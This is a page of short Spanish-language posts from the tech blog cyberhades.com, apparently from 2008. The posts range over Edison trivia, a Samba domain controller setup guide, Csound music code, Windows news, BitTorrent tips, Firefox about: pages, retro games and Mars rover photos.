                
                Y sobre todo a estos sitios donde está lleno de contenido espectacular, de calidad y sobre todo, de dominio público:
                
                
                http://creativecommons.org/
                
                
                Y en castellano:
                
                
                http://es.creativecommons.org/
                
                
                ¡Viva CC!
                www.cyberhades.com

                10 hechos fascinantes sobre Thomas Alva Edison

                Artículo original que recomiendo leer:
                http://www.neatorama.com/2008/02/11/10-fascinating-facts-about-edison/

                Tal día como hoy 11 de febrero nació en 1847 Thomas Alva Edison.

                Y como homenaje, 10 hechos que no todos conocemos sobre él:

                1) Edison era un mal estudiante, contínuamente distraido con sus ideas.

                2) Edison montó su primer laboratorio (de química) a los 10 años.

                3) Edison se volvió sordo a los 12 años y no le importó porque decía que esto le hacía estar más concentrado en sus experimentos.

                A punto de arrancar la Campus Party 2008 en Brasil

                

                Comienza la Campus Party en Brasil:
                http://www.campus-party.com.br/

                Nosotros a esperar la nuestra en Valencia ;)

                www.cyberhades.com

                Trailer del documental &quot;Second Skin&quot; …

                Estaremos atentos a este documental que parece interesante …

                www.secondskinfilm.com

                www.cyberhades.com

                Ya casi está la nueva Web de CyberHades ...

                La semana que viene pondremos nuestra nueva Web y cambiaremos de web hosting …

                Perdón por las molestias …

                www.cyberhades.com

                Vamos a montar un PDC (Controlador Primario de …

                

                ... sólo para demostrar lo fácil que resulta instalar un controlador de dominio (básico) en Linux.

                PDC

                Voy a describirlo directamente al grano, necesitas un nivel mínimo de Linux para hacer esto, existen miles de "How To" en Internet que lo explican, simplemente he resumido los comandos mínimos para realizarlo.

                Primero tenemos que tener instalado SAMBA en nuestra ditribución favorita de Linux. Y por supuesto una LAN con los equipos tanto cliente como servidor Linux dentro del mismo rango IP.

                Segundo preparar la ubicación donde vamos a volcar los perfiles y configuraciones de los equipos clientes:

                mkdir -p -m 1777 /var/lib/samba/profiles

                mkdir -p /var/lib/samba/netlogon

                chgrp users /var/lib/samba/profiles

                Ahora asignar permisos de acceso y creación de usuarios:

                (nombrepc1 es el nombre de PC del ordenador desde el cual nos vamos a conectar al dominio, sea Windows o Linux y pepito es el nombre de usuario)

                adduser nombrepc1$

                smbpasswd -am nombrepc1$

                smbpasswd -a root

                adduser pepito

                smbpasswd pepito

                Luego tenemos que editar el fichero:

                /etc/samba/smb.conf

                y añadir lo siguiente:

                Primero al principio del fichero con la etiqueta (si existe añadimos y ya está)

                [global]

                workgroup=NombreDeMiDominio

                local master=yes

                domain master=yes

                preferred master=yes

                time server=yes

                domain logons=yes

                # Ahora aquí se guardan los perfiles de los usuarios dentro la misma etiqueta global

                logon path=\%L\Profiles%U

                logon path=\%L%U.profiles

                logon drive=H:

                Luego al final del fichero creamos:

                [netlogon]

                comment=Servidor de Dominio CyberHades

                path=/var/lib/samba/netlogon

                write list = @administradores, @admins_dominio

                guest ok=yes

                browseable=yes

                [profiles]

                path=/var/lib/samba/profiles

                read only=no

                guest ok=yes

                create mask=0600

                directory mask=0700

                Y ya está, salvamos el fichero smb.conf y reiniciamos los procesos:

                /etc/init.d/smb restart

                Y también podemos comprobar que hemos escrito correctamente todo en el smb.conf usando:

                testparm

                si todo ha salido bien, ya tienes un controlador de dominio funcionando.

                Ahora puedes conectar un XP o un Linux a este controlador y usar todas las ventajas que te puede dar un PDC, como por ejemplo ejecutar scripts cuando entren, aplicarles programas a los usuarios, sincronizar datos, etc …

                Si has llegado hasta aquí, esto es sólo el principio, aún queda mucho camino que recorrer para perfecionarlo y sacarle partido.

                Algunos links:

                http://gentoo-wiki.com/HOWTO_Implement_Samba_as_your_PDC http://fferrer.dsic.upv.es/cursos/Integracion/html/ch02.html http://www.ubuntu-es.org/index.php?q=node/20282

                Espero que te sirva de ayuda.

                Stephen- la cámara humana

                Es absolutamente increíble, si no fuera porque el vídeo es bastante concluyente, diría que es otro de los bulos de la red. En cualquier caso, merecería que se hiciera una película sobre él.

                hay mas vídeos relacionados… igualmente increibles

                www.cyberhades.com

                Csound y otras formas de hacer música para hackers

                

                El otro dia escuché (con mucho retraso) el fantástico podcasts llamado "Soliloquios" de F.J. Romero (actualmente la web está en construcción espero que la abra pronto) y este en concreto trataba sobre música hecha por ordenador, pero hecha de verdad, como por ejemplo este CSound, un lenguaje de programación basado en "C" para programar sonidos y música.
                Aquí tienes un enlace a este podcast:
                http://www.fjromero.com/?p=315
                Te aconsejo que lo escuches porque está genial y te abrirá un mundo si no lo conocías fascinante sobre la música llevado al punto más extremo geek ;) y experimental.
                Pues este CSound necesita de dos ficheros con código, uno como orquesta y otro como partitura:
                Ejemplo de orquesta:
                instr 1;intrumento 1
                iamplitud = 10000
                ifrecuencia = p4
                itabla = 1
                a1 oscil iamplitud, ifrecuencia, itabla
                out a1 endin;final de instrumento 1
                Ejemplo de partitura:
                f1 0 4096 10 1
                i1 0 4 440
                i1 + 2 880
                i1 + 1 1760 e
                Si te has quedado igual de tonto que yo cuando he visto este código, visita estos enlaces para entenderlo:
                Tutorial en inglés:
                http://www.csounds.com/toots/index.html
                Página oficial:
                http://www.csounds.com/
                Algunos ejemplos:
                http://www.lpi.tel.uva.es/~nacho/docencia/ing_ond_1/trabajos_03_04/Csound/ejemplo0.htm
                http://mitpress.mit.edu/e-books/csound/fpage/Csmus/Csmus.html
                Blogs sobre CSound:
                http://csound.wordpress.com/
                http://www.thumbuki.com/csound/blog/
                Luego también existen formas de programar música en tiempo real, mira este video:
                Y también existe un software llamado "Flaxus" hecho en flash para hacer "performances" en tiempo real programando música:

                http://i2off.org/flaxus/index_esp.html

                Expertos en optometría aseguran que los …

                Bueno!!!… ahora a ver quien es el guapo o “LA GUAPA” que nos dice que es malo estar tanto tiempo jugando… bla, bla, bla… Gracias a todos los “Optometristas” del mundo… por ponerme mas fácil… mi divorcio. Dicho esto, tendré presente la regla numero 1 de los usuarios de Internet.. 1º- No creas todo lo que encuentres por internet.

                Linus con Linux

                Es indiscutible que nadie mejor que él podría dar explicación de este Sistema. Pero ademas es que es lógico todo lo que dice… es mas que probable que en sus palabras esté también el principal motivo por el que Microsoft jubila a Windows XP. Solo espero, como usuario informatico, que Linux consiga el espacio que se merece, aunque la lucha contra el Gigante americano no vaya a ser justa en ningún caso. Considero que uno de los principales obstáculos que tiene Linux frente a Windows es la dificultad a la hora de encontrar software “idéntico” al que usamos habitualmente. No es lo mismo que tengas que cambiar un programa por una actualización, que cambiar todos a la vez… es el problema de ser humanos… nos acostumbramos a lo que tenemos aunque no sea lo mejor. Puedes ver la entrevista a Linus aqui y aqui

                Microsoft jubilará el Windows XP el 30 de junio

                

                No tiene piedad Microsoft con el Windows XP, lo retirará del mercado el 30 de junio (o sea en 142 días) con lo cual a partir de esa fecha no habrá parches ni se venderá ... alternativa ... Vista o Linux.
                Si quieres salvarlo, hay una iniciativa donde firmar, ya son casi 80.000:
                http://weblog.infoworld.com/save-xp/archives/2008/01/sign_the_save_x.html
                Noticia original de:
                http://4sysops.com/archives/microsoft-shows-no-mercy-for-windows-xp/
                Yo no voy a firmar ;) pero tengo que reconocer que es el mejor (y más estable) sistema operativo hasta la fecha creado por Microsoft.
                www.cyberhades.com

                BOINC... 747

                

                No es que lo conozca desde hace poco, ya llevo usándolo muchos años para diferentes proyectos, pero ya que se han publicado en varios medios de comunicación, considero necesario ponerlo en conocimiento.

                En este caso, creo que el que mas útil podría resultar seria el de BOINC unido a worldcommunitygrid.org, ya que lo que hace es usar los recursos sobrantes de los ordenadores para realizar cálculos, en su mayor parte de aplicaciones químicas, como interacciones proteínicas y cosas que de momento no entiendo para buscar posibles medicamentos y/o curas para enfermedades como el cáncer, Sida, Dengue, Distrofia muscular… etc

                Nueva WEB 3.0... mejora??

                Como viene siendo habitual, la tecnología avanza…. y todo lo que le rodea se va actualizando. Este es el caso de la propia Internet, el problema quizás sea definir si supone ventajas o si añade problemas, como el de la privacidad. Hace ya mucho tiempo (tiempo tecnológico), Google presento un proyecto para usar lineas de fibra óptica y WIMAX para hacer posible que todos los ciudadanos (de algunas ciudades de EE.UU.) tuvieran Internet gratis, a cambio de una barra de publicidad que se personalizaría en función de tu situación, mediante triangulación con los repetidores WIMAX, y en función de tus preferencias de consumo, etc. aunque esto siempre supone una mejora tecnológica, los datos acumulados de tu conducta puede ser un arma de doble filo en manos privadas… ¡como si estuviéramos ya bastante en sus manos!

                Nuevo chip que puede funcionar con el calor del …

                

                Pues sí, este nuevo chip consume poca energía y podría habilitar sensores, dispositivos de comunicaciones y otros gadgets usando el calor desprendido del cuerpo humano y también del movimiento como fuente de energía.

                Utiliza un 70% menos de voltaje que los chips actuales , este menos consumo sería ideal para dispositivos portátiles. Imagina cargar el movil simplemte con el movimiento al llevarlo en el bolsillo, etc ... un mundo de posibilidades.

                Como no, creado por el MIT.

                Este es el enlace original: http://www.wired.com/science/discoveries/news/2008/02/efficient_chips

                 

                www.cyberhades.com

                Lugares secretos y fuera de lugar en Google Earth

                

                Algunos videos curiosos sobre lugares captados por los satélites y vistos en Google Earth ...
                www.cyberhades.com

                Microsoft, Yahoo y ahora Google

                

                Parece que a Google no le ha gustado mucho el intento de compra por parte de Microsoft a Yahoo. Realmente no entiendo los argumentos que exponen los de Google (entiendo los legales, si Microsoft incumple alguna norma sobre competencia desleal pero creo que no es el caso), ya que ellos son los dueños absolutos y dominantes en el mercado de los buscadores, tampoco está mal un poco de competencia, aunque sea de Microsoft (es mi opinión personal).
                ¿No intenta Google también entrar en mercados dominados por Microsoft?
                ¿No mejoraría la competencia Google - Microsoft una compra por parte de este de Yahoo, teniendo en cuenta que el 80% de las búsquedas se hacen desde Google?
                Estos son algunos artículos interesantes que he visto:
                http://www.microsiervos.com/archivo/internet/microsoft-lanza-oferta-yahoo.html
                http://www.unionradio.com.ve/Noticias/Noticia.aspx?noticiaid=230578
                http://www.jornada.unam.mx/ultimas/2008/02/04/google-ofrece-ayuda-a-yahoo-para-evitar-su-compra-por-microsoft
                http://www.elmundo.es/navegante/2008/02/04/tecnologia/1202115450.html
                http://www.canalpda.com/2008/02/04/5637-c%C3%B3mo+vencer+google+qu%C3%A9+microsoft+yahoo+probablemente+no+lo+lograr%C3%A1n
                Pase lo que paso, creo que será bueno para Internet.
                www.cyberhades.com

                Impresionante: Universcale

                
                Impresionante animación interactiva sobre la escala de los objetos en el universo, desde el espacio profundo hasta los átomos.
                Muy bueno y educativo:

                http://www.nikon.co.jp/main/eng/feelnikon/discovery/universcale/index_f.htm

                Visto en el blog: http://blog.folksonomy.com/index.php/universcale/

                www.cyberhades.com

                El último día de trabajo de Bill Gates ...

                Como una cabra, igual que Steve Ballmer, pero hay que reconocer que tiene sentido del humor ..

                www.cyberhades.com

                Pelican

                
                No sabría como definirlos, Doom Metal, Post Rock, Post Metal ... no sé ... y realmente no importa demasiado, lo importante es lo que transmiten. Grupo formado en 2001 en Chicago, son cuatro miembros y su último disco es: March into the sea
                
                http://en.wikipedia.org/wiki/Pelican_(band)

                http://hydrahead.tortugarecordings.com/pelican/

                Algunos videos:

                A delicate sense of balance

                Spaceship broken-parts needed

                Lost (Perdidos) temporada cuarta ... no puede …

                

                Uf, acabo de ver el primer capítulo de la nueva temporada y esto se pone calentito ;) de momento parece que las cosas van en buen camino a pesar de la huelga de guionistas en Hollywood.

                Bueno ya volvemos a estar enganchados a la estupenda serie Lost (Perdidos).

                http://www.lostzilla.net/

                http://www.adictosalost.blogspot.com/

                http://www.oceanicflight815.com/

                Aquí puedes ver en Google Maps una posible ubicación de la isla: http://maps.google.com/maps?f=q&hl=en&q=http%3A%2F%2Fthejoshmeister.googlepages.com%2FLOSTOceanicFlight815CrashSites.kmz&ie=UTF8&z=3&om=1

                Y aquí un mapa de la isla:

                http://lostmap.blogspot.com/

                ... vaya "flashfowards" como están complicando la trama ...

                www.cyberhades.com

                Retrocomputer 2: Commodore 64

                

                Sin duda, el mejor de la época, por encima en calidad de hardware y software a todos, pero poco extendido aquí en España, donde dominaba el flamante Spectrum 48k.

                http://es.wikipedia.org/wiki/Commodore_64

                http://www.c64.com/

                http://www.c64.org/

                Como curiosidad una demoscene:

                http://www.c64.ch/demos/realdetail.php?id=1649

                Aquí puedes encontrar un emulador en Java:

                http://www.dreamfabric.com/c64/

                Historia de Commodore:

                http://www.neoteo.com/tabid/54/ID/5112/Default.aspx

                ... Commodore 64 evolucionaría hasta el rey de los ordenadores de los 80 y 90: el Commodore Amiga, pero esto es otra historia ;)

                www.cyberhades.com

                10 trucos y herramientas para BitTorrent

                

                Visto en:

                http://lifehacker.com/350405/top-10-bittorrent-tools-and-tricks/

                Voy a resumirlo y a traducir lo que pueda, es muy interesante:

                Supongo que todos sabemos que es el famoso BitTorrent así que vamos a saber un poco sobre como controlarlos y optimizarlos:

                10. Usa Bittorrent para enviar ficheros: todos descargamos desde Bittorrent pero podemos sacarle partido para enviar nuestros ficheros casi sin limitación de tamaño a quien quieras y donde quieras (esto no es lo mismo que compartirlos). En este enlace hay un tutorial para hacerlo, casi cualquier cliente de Bittorrent te permite esta funcionalidad:

                http://www.poromenos.org/tutorials/bittorrent

                9. Aceptar descargas de forma automática de una lista de contactos: de esta forma, cuando alguien de tu lista de amigos tenga algo interesante que enviarte, directamente te lo manda y comienzas a descargarlo sin que necesite tu intervención. Por ejemplo, puedes enviar una orden de forma remota a tu cliente de descargas Bittorrent desde Internet. Por ejemplo con uTorrent puedes automatizar este proceso.

                8. Descargar BitTorrents desde el navegador: siempre es más aconsejable usar un cliente, pero a veces es necesario hacerlo desde el navegador, mira esta opción:

                Directamente escribes el fichero torrent y a descargarlo:

                http://www.bitlet.org/

                7. Maneja tus descargas de video con Miro: por ejemplo con este cliente podrías programarlo para que descarge de forma automática una serie cuando esté disponible:

                http://www.getmiro.com/

                6. Optimiza tu velocidad de descarga y evita el "capado" de tu ISP: siempre que no puedas descargar a una velocidad aceptable es seguro por uno de estos dos motivos, mala configuración de la asignación de ancho de banda a descargas y subidas, y por supuesto el capado por parte de tu ISP aunque niegen una y otra y otra y otra vez que no lo hace, porque lo hacen, y bien que lo hacen. En este enlace puedes ver algunos trucos y un par de guías una para principiantes y otra para usuarios avanzados:

                http://lifehacker.com/software/bittorrent/stop-your-isp-from-throttling-bittorrent-speeds-295995.php

                5. Control remoto de tu BitTorrent: existen muchas interfaces para teléfonos móviles con Windows Mobile y Symbian (incluso hay uno para iPhone) para gestionar remótamente las descargas. En este enlace tienes una interface para el navegador Web:

                http://lifehacker.com/software/hack-attack/remote-control-your-torrents-with-utorrents-webui-260393.php

                4. Prepara toda una temporada de tu serie favorita: para todas las plataformas, te recomiendo:

                http://www.ted.nu/

                3. Busca los mejores torrent con YouTorrent: el mejor motor de búsquedas de torrents ya que analiza todas las mejores fuentes:

                http://www.youtorrent.com/

                2. Transmission: el cliente BitTorrent para Mac y Linux de código abierto con funciones espectaculares sobre todo respecto al control remoto ... si tienes Mac o Linux este es el que deberías de usar.

                1. uTorrent: el mejor cliente para Windows, con todo tipo de funcionalidades. Si eres usuario de Windows te recomendamos este.

                Y ahora de regalo una guía para novatos del BitTorrent:

                http://lifehacker.com/software/ultranewb/a-beginners-guide-to-bittorrent-285489.php

                Y otra un poco más avanzada:

                http://lifehacker.com/software/hack-attack/intermediate-guide-to-bittorrent-286607.php

                Espero que os sirva de ayuda.

                Thanks to LifeHacker for this awesome BitTorrent guide ;)

                www.cyberhades.com

                Sintetizador de bolsillo de ThinkGeek: Kaossilator

                Kaossilator

                www.cyberhades.com

                Comandos &quot;about&quot; de FireFox

                

                Si utilizas estos comandos en la ventana donde escribes la URL o la página web en el Firefox, obtendras lo siguiente:

                about: Te muestra información general sobre la versión.

                about:mozilla Es un huevo de pascua ...

                about:blank Muestra una página web en blanco.

                about:config Muestra la configuración del Firefox

                about:cache Muestra la información de la caché e incluso puedes hacer click sobre los links y abrirlos.

                about:credits Muestra el equipo de desarrolladores.

                about:plugins Muestra todos los plugins que tengas instalados.

                about:buildconfig

                Información técnica sobre la distribución que tienes.

                Fuente original: http://www.geek24.com/g/firefox-about-commands-list

                www.cyberhades.com

                Video. Batalla épica robot vs perro por el …

                XD , joe que risa y mira que es tonto el video pero hace gracia, sobre todo a los frikis como nosotros … ;)

                Visto en Yoire.

                www.cyberhades.com

                El peor juego de Atari: E.T. El Extraterrestre

                

                Atari, ese Olimpo de los videjuegos, dios de los pixeles multicolores , también la cagó.

                Y bien que la cagó…

                … tanto que fue el inicio de su bancarrota.

                Con el videojuego E.T. El Extraterrestre, basado en la película, bueno eso de basado es un decir (lo más parecido era el nombre) porque era injugable, sin ninguna trama, con gráficos malísimos, con numerosos errores de programación, etc ... Todo se sustentaba en la posible venta aprovechando el tirón de la película pero como les pillaba el toro, tuvieron que sacarlo tal y como lo tenían, o sea, en pelotas (como el mismísimo E.T. cuando llegó a la tierra antes de que lo vistieran de mujer).

                He aquí algunas muestras de los gráficos:

                

                Bueno al final Atari vendió 1,5 millones de los 4 que había fabricado. Con el resto, los enterró en el desierto de Nuevo Méjico, concretamente en Alamogordo.

                Space Invaders cumple 30 años

                

                Me saltan las lágrimas cuando veo imágenes de este magnífico videojuego ... que tiempos ...

                Iba a escribir algún resúmen sobre este magnífico y añorado clásico pero he visto en:

                http://www.dandel.net/2008/01/29/30-anos-de-space-invaders/

                un espectacular artículo en castellano sobre Space Invaders que desde aquí os recomiendo que leáis.

                Este otro no es menos espectacular pero está en inglés:

                http://www.classicgaming.cc/classics/spaceinvaders/

                Aquí puedes jugar en una versión flash:

                http://www.neave.com/games/invaders/

                Y estos son 5 min de un minidocumental sobre retrogames (en inglés):

                ¡Larga vida a Space Invaders!

                www.cyberhades.com

                Eluvium

                

                Fastástico músico.

                Eluvium

                http://www.eluvium.net/ http://www.myspace.com/eluviumtaken

                Nota: los videos no creo que sean originales de Eluvium pero están fracamente bien, lo importante es la música.

                Canción: Radio Ballet

                Under the water ir glowed

                Ephemera

                www.cyberhades.com

                Los logos festivos de Google

                

                Hoy hemos visto todos este logo en Google:

                

                Es uno de los famosos logos festivos de Google (este es genial), pero tiene muchos más que puedes ver en este enlace:

                http://www.google.com/holidaylogos.html

                www.cyberhades.com

                Control remoto del ordenador ... LogMeIn

                

                He estado probando hoy la versión Pro y Free de este estupendo servicio para conectarte a los ordenadores que necesites de tu red por control remoto.

                LogMeIn:

                https://secure.logmein.com/go.asp?page=home&lang=es

                Te das de alta como nuevo usuario y te dejarán probar una versión "Pro" pero sólo dura un par de horas, luego puedes cambiar la subscripción por otra gratuita. La diferencia está en que la gratuita tiene menos servicios que la pro, como por ejemplo transferir archivos, pero el poder manejar totalmente el ordenador destino está habilitado al 100%.

                Hombre yo no recomendaría esta opción para los ordenadores del trabajo o para equipos muy sensibles por la información (de todas formas es bastante seguro), pero una solución para casa y sobre todo para los amigos que necesitan algún tipo de ayuda y no puedes ir en persona, esto va de cine.

                No necesitas abrir puertos en el firewall ya que utiliza directamente el navegador web (IE ó Firefox) y Java para visualizarte una pantalla con el ordenador remoto. Para dar de alta un PC, simplemente accede a la cuenta desde el Pc quieras añadir a tu lista de equipos a controlar e instala un cliente para habilitarlo. Y ya está, luego desde cualquier navegador Web y en cualquier sitio con Internet, puedes conectarte a estos ordenadores.

                Esto no es nada nuevo, de hecho nosotros hemos usado varias formas, NetMeeting, RDP, VNC, etc ... pero este tiene la ventaja de no necesitar una dirección IP estática o usar NAT para redireccionar los accesos al equipo remoto.

                Una buena solución para salir del paso en algunas ocasiones ...

                PD: recuerda borrar siempre toda la información (cookies, historial, etc ...) del navegador cuando no sea el tuyo ...

                www.cyberhades.com

                Creo que nos faltaba esta Guía Rápida de …

                

                Pues eso, creo que no tenemos esta en nuestra colección:

                http://smallcode.weblogs.us/wp-content/uploads/2006/05/CheatSheet.png

                www.cyberhades.com

                Las criaturas que tejen la Word Wide Web …

                

                Contínuamente existen unas criaturas digitales vagando por Internet analizando millones de páginas Web para uno u otro motivo (p.e.: indexar búsquedas). Suena a Ciencia Ficción pero es cierto, tienen una IA destinadas a hacer un trabajo específico y que viajan contínuamente por la red.

                Estas critauras deciden los caminos a seguir en función de varios factores como por ejemplo analizando foros y viendos los enlaces, palabras como "What's new" en páginas Web, mailing list, etc ... a veces simplemente se le asigna en su origen una página Web principal y a partir de ella van tejiendo un árbol con diferentes rutas a seguir siguiendo un patrón específico ...

                Todos estos programas suministran información variada a los grandes de la Red como por ejemplo Yahoo, Google, etc ...

                La fauna podría ser:

                Robots nombre genérico

                Spiders es lo mismo, pero suena mejor ;)

                Más fotos extrañas... en la Tierra

                El comunismo soviético igual no era capaz de hacer llegar papel higiénico o pollo a las estanterías de los supermercados pero sí lo era de alzar impresionantes edificios futuristas que serían la envidia del constructor de decorados de Star Wars. Increíbles.

                

                Podéis encontrar más en: http://englishrussia.com/?p=395#more-395

                www.cyberhades.com

                Las fotos más extrañas del Spirit y la Opportunity …

                La última foto donde aparece la ya famosa figura humana (apodada "bigfoot") de Marte revela que no está sola en ese paisaje, que por cierto, están tomadas de una única panorámica de la Spirit.

                Aquí puedes ver la foto completa con las otras "siluetas" y los nombres XD (algunos son espectaculares)

                http://www.unmannedspaceflight.com/index.php?act=attach&type=post&id=13308

                http://www.unmannedspaceflight.com/index.php?act=attach&type=post&id=13309

                Nuevo Kernel de Linux 2.6.24

                

                Ya está el nuevo kernel de Linux versión 2.6.24

                En este enlace puedes ver una lista de las mejoras disponibles:

                http://diegocg.blogspot.com/2007/12/lo-que-traer-linux-2624.html

                De paso aquí tienes un poster con la estructura completa del Kernel de Linux:

                http://mardou.files.wordpress.com/2007/08/linux_kernel_map_img_3.png

                Información directa de los creadores:

                http://www.kernel.org/

                www.cyberhades.com

                Windows 2008 Server y Vista ¿mejor juntos?

                

                Noticia original de:

                http://4sysops.com/archives/windows-server-2008-and-windows-vista-better-together/

                Esto sí que me ha sorprendido y que puede significar el por qué algunas empresas están acelerando el cambio de sus ordenadores a Windows Vista (cosa que parecía inexplicable viendo los supuestos problemas que daba su instalación). Estos podrían ser los motivos.

                Parece que haciendo un despliegue de Windows Server 2008 y conectando máquinas con Windows Vista a estos servidores, se podría acelerar a los equipos clientes en las funciones cotidianas de dichas máquinas cuando conectan en una red con un servidor.

                Antes vamos a ver de paso, algunas funciones que se pueden implementar en Windows XP y que serían útiles y optimizarian su uso al conectarlas a redes/dominios con Windows 2008 Server:

                NAP: NetWork Acces Protection (disponible ya con la versión SP3 de Windows XP): es una serie de políticas para los administradores del sistema para mantener la red actualizada de parches, antivirus al día, estado del firewall, etc ... evaluando constantemente la situación y haciendo instalaciones en caso de necesitar actualizar algunas de estas características. En caso de no cumplir con estas características, la máquina sería rechazada por la red o situada en otra red aislada para empezar a aplicarle todos las actualizaciones del sistema que necesite.

                Nuevo cliente RDP: "Remote Desktop Connect" utilizado para conectar con equipos remotos que tiene nuevas características (pulsa en el enlace de arriba para ver un informe completo).

                Soporte IPV6: Este nuevo protocolo ya está disponible para ser instalado en Windows XP.

                Y estos son lo motivos por los cuales es mejor tener Windows 2008 y Windows Vista juntos:

                Interfaz de usuario: Vista y Server 2008 comparten un 70% del código fuente, con lo cual el manejo del interfaz será muy parecido en los dos sistemas.

                Nueva funciones del núcleo: por ejemplo el nuevo visor de rendimiento y optimización, el visor de eventos, son iguales en los dos sistemas operativos.

                Aplicación de parches: al tener práticamente el mismo código fuente, los parches serán los mismos, con lo cual ahorras tiempo a la hora de aplicarlos.

                Despliegue de imágenes: el nuevo sistema de imágenes permite crear una imágen y luego montarlas en máquinas dentro de tu red, independientemente del hardware.

                Log de eventos compartido: puedes monitorizar todos los logs de los eventos de todas tus máquinas en una única máquina.

                Mejoras en la gestión de la red: usando la "network stack" en estos sistemas de Vista y Server 2008 obtenemos muchas mejoras a la hora de usar las comunicaciones entre estas máquinas en una red. Si quieres más información técnica sobre esto: SMB2 y Receive Window Auto-tuning son dos ejemplos de estas mejoras.

                Soporte XPS: Vista puede renderizar trabajos en el formato XPS, lo cual reduce la carga del servidor de impresión.

                Tickets encriptados con AES Kerberos: todo el tráfico de la red y domino estará encriptado usando esta tecnología, obteniendo mejor seguridad.

                Resumiendo, es mejor porque sencillamente Windows Vista y Windows 2008 Server son muy parecidos.

                www.cyberhades.com

                Video documental sobre Hackers y la DefCon

                Def Con

                No estoy muy de acuerdo con algunos hechos mencionados y comentarios pero no esta mal el documental:

                www.cyberhades.com

                &quot;Windows 7&quot; (sucesor de Windows Vista) y …

                

                Parece que Microsoft tiene bastante prisa por sacar al mercado el nuevo Windows 7. La nueva fecha de salida es muy cercana, mediados de 2009. Algunos no creen que Microsoft pueda sacar un nuevo sistema operativo en menos de 3 años, cuando la media es de 5 (Vista tardó 6).

                Una posible explicación sería la necesidad de un cambio radical en el diseño de un nuevo sistema operativo, ya que Windows Vista es bastante parecido a Windows XP y realmente, parece que no aporta demasiadas ventajas respecto a XP.

                Algunas nuevas características de este Windows 7:

                Sistema de gráficos hetereogéneos: ¿? se supone que podrás usar varias tarjetas gráficas de diferentes fabricantes ... aunque creo que esto ya lo hace Vista y XP.

                Sistema táctil: al parecer se van a usar nuevas características táctiles al sistema de ventanas, estilo Windows Mobile.

                Y ahora el famoso:

                MinWin: esto sí que parece espectacular. Un mini kernel del sistema operativo de 25Mb y que usará 40Mb más para su entorno de trabajo, o sea, un núcleo de Windows de ¿100Mb?. ¿una versión grande de Windows Mobile?. Actualmente parece que una versión de este MinWin es el que corre en las versiones Server Core de Windows 2008 server (una versión sin interfaz gráfica).

                En este enlace hay un video sobre el MinWin:

                http://www.istartedsomething.com/20071019/eric-talk-demo-windows-7-minwin/

                Ya iremos informando sobre alguna característica más ... nosotros vamos apostando por la virtualización ...

                Enlace original:

                http://4sysops.com/archives/windows-7-release-date-some-new-features/

                www.cyberhades.com

                Las fotos más extrañas del Spirit y la Opportunity …

                Como comenté en otra entrada, estas son algunas de las fotos "extrañas" realizadas por las sondas Spirit y Opportunity (parte 1)

                NOTA: en nuestra opinión personal, todas se deben a efectos ópticos, formaciones rocosas, objetos desprendidos de los robots, etc ... pero no dejan de ser curiosas e inquietantes ;) ...

                El disco de Marte:

                

                 

                http://www.sitiosargentina.com.ar/notas/Marzo_2004/90.htm

                El Ovni de Marte

                Lo mejor de la revista &quot;Make&quot; hay que …

                

                Ha salido esta recopilación de los mejores proyectos de la gran revista "Make".

                http://store.makezine.com/ProductDetails.asp?ProductCode=059651428X

                Fijaros en el espectacular índice que tiene (os he marcado los espectaculares):

                Chapter 1: TOOLS Your Electronics Workbench The Maker’s Ultimate Tools Tight-Fit Workbench Sketchup Workbench Freedom to Unscrew Keychain Survival Tools

                Chapter 2: ELECTRONICS The 5-in-1 Network Cable VCR Cat Feeder Gun-Operated Alarm Clock Rumble Mouse My Love Affair with LEDs LED Throwies Magnetic Switches from Everyday Things

                Chapter 3: MICROCONTROLLERS Microcontroller Programming Arduino Fever The MAKE Controller Propeller Chip It’s Email Time Firefly Meter

                Chapter 4: TOYS & GAMES Circuit Bending Homebrew Game Design Pinball, Resurrected Game Boy Hacks Hacking the C64 DTV Circuit Quiz Game Sticky Fingers Custom Travel-Game Mod

                Chapter 5: ROBOTS Two BEAMbots: Trimet and Solarroller Mousey the Junkbot Pummer, Dude! Roomba Hacks Hack a Robosapien Vibrobot

                Chapter 6: MUSIC Cigar Box Guitar The $5 Cracker Box Amplifier Homecasting Digital Music Surround Sound, Quick N’ Dirty Mint-Tin Amp World’s Loudest iPod MIDI Controller Monkey

                Chapter 7: FLIGHT & PROJECTILES The Jam Jar Jet Soda Bottle Rocket Rocket-Launched Camcorder Building an Ornithopter The Night Lighter 36 Blimp Paper Water Bomber

                Chapter 8: PHOTOGRAPHY & VIDEO Pinhole Panoramic Camera & Pin-O-Rama Photo Gallery Digital Kirlian Photography Single-Use Digicam for Kite Aerial Photography Stop Motion Animation, the Easy Way The Fauxlance Photographer 3D Photography How to Drink Beer on C-SPAN Tilt-Shift Photography Outdoor Webcam Enclosure

                Chapter 9: CARS & ENGINES Two-Can Stirling Engine Wind Powered Generator Mod Your Rod Urban Camouflage Windup Car Curie Engine

                Vamos a tener que pillarlo para echarle un vistazo.

                www.cyberhades.com

                La extraña foto de una &quot;figura humana&quot; …

                

                Parece (es) una formación rocosa un poco caprichosa con forma humanoide, pero está dando la vuelta al mundo (foto realizada por la sonda "spirit").

                Os pondré en breve alguna selección de las fotos más "curiosas" o "extrañas" realizadas por la sondas "mars rovers"

                Para saber más sobre esta noticia:

                http://www.dailymail.co.uk/pages/live/articles/news/news.html?in_article_id=509693&in_page_id=1770

                (enlace visto en "Menéame")

                http://www.montevideo.com.uy/nottecnologia_55960_1.html

                www.cyberhades.com

                Arte para geeks ... muy geeks

                (copia y pega)

                (... buenísima)

                

                (esta está dedicada a DuenD)

                Esta requiere una explicación: "All your base are belong to us"

                Estos son sólo algunos ejemplos ... los tienes todos en:

                http://www.flickr.com/photos/paulthewineguy/sets/72157603619920398/

                Merece la pena verlos todos ... estan genial.

                 

                www.cyberhades.com

                Juegos On Line para picarse un rato ;)

                

                He visto esta página de juegos on line:

                http://www.onlinegames.com/

                Que está muy bien, ya que juegas contra otras personas alrededor del mundo, a juegos sencillos y adictivos.

                Este realmente está genial:

                http://www.onlinegames.com/spaceace/

                ... como pica ;)

                www.cyberhades.com

                MUD

                

                No voy a explicaros lo que es un MUD, mejor míralo en:

                http://es.wikipedia.org/wiki/MUD

                http://en.wikipedia.org/wiki/MUD

                Sólo quiero que sepáis que antes del World of Warcraft, Lineage II ó Guild Wars, estaban (y aún están funcionando) estos juegos que no tienen gráficos, todo se limita a la descripción de enemigos y lugares, interactuando únicamente desde el teclado y usando un mapa (como leer un libro).

                Estos son algunos de los más populares:

                NetHack (el clásico):

                http://www.nethack.org/

                Achaea (con algunos gráficos mejorados):

                http://www.achaea.com/main.php

                Siragaa (en español):

                http://www.siragga.net/html/

